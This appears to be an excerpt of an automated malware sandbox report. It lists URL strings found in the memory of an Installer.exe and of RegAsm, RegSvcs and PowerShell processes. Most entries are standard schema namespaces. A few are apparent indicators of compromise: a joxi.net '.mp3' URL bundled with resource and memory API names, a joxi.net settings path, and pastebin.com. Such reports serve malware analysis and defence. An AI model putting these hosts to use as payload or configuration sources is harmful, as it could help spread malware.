Source: Installer.exe.20.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA2.crt0#
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: Installer.exe, 00000016.00000002.2283720664.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, Installer.exe.20.dr	String found in binary or memory: http://joxi.net/4Ak49WQH0GE3Nr.mp3
Source: Installer.exe, 00000016.00000002.2283720664.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://joxi.net/4Ak49WQH0GE3Nr.mp37zF
Source: Installer.exe, 00000016.00000000.2271893841.0000000000314000.00000002.00000001.01000000.0000000D.sdmp, Installer.exe, 00000016.00000002.2282223412.0000000000314000.00000002.00000001.01000000.0000000D.sdmp, Installer.exe.20.dr	String found in binary or memory: http://joxi.net/4Ak49WQH0GE3Nr.mp3openSizeofResourcegfDASrtdstyfewrtydwyu3467YdesauydgewyuyVirtualPr
Source: Installer.exe, 00000016.00000002.2283720664.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://joxi.net/4Ak49WQH0GE3Nr.mp3r
Source: Installer.exe, 00000016.00000002.2283720664.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://joxi.net/SettingsnsLMEM8
Source: powershell.exe, 0000001A.00000002.2313653824.0000000005F87000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: Installer.exe.20.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003226000.00000004.00000800.00020000.00000000.sdmp, Installer.exe.20.dr, conhost.exe.3.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: RegSvcs.exe, 00000017.00000002.2339213093.0000000003407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.com
Source: RegSvcs.exe, 00000017.00000002.2339213093.0000000003407000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pastebin.comd
Source: powershell.exe, 0000001A.00000002.2304314220.0000000005075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: powershell.exe, 0000001A.00000002.2304314220.0000000005075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp9
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2339213093.00000000033F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2304314220.0000000004F21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: powershell.exe, 0000001A.00000002.2304314220.0000000005075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/D
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseD
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030A8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23ResponseD
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030A8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2216914083.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003226000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24ResponseD
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseD
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: RegAsm.exe, 00000003.00000002.2216914083.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3ResponseD
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
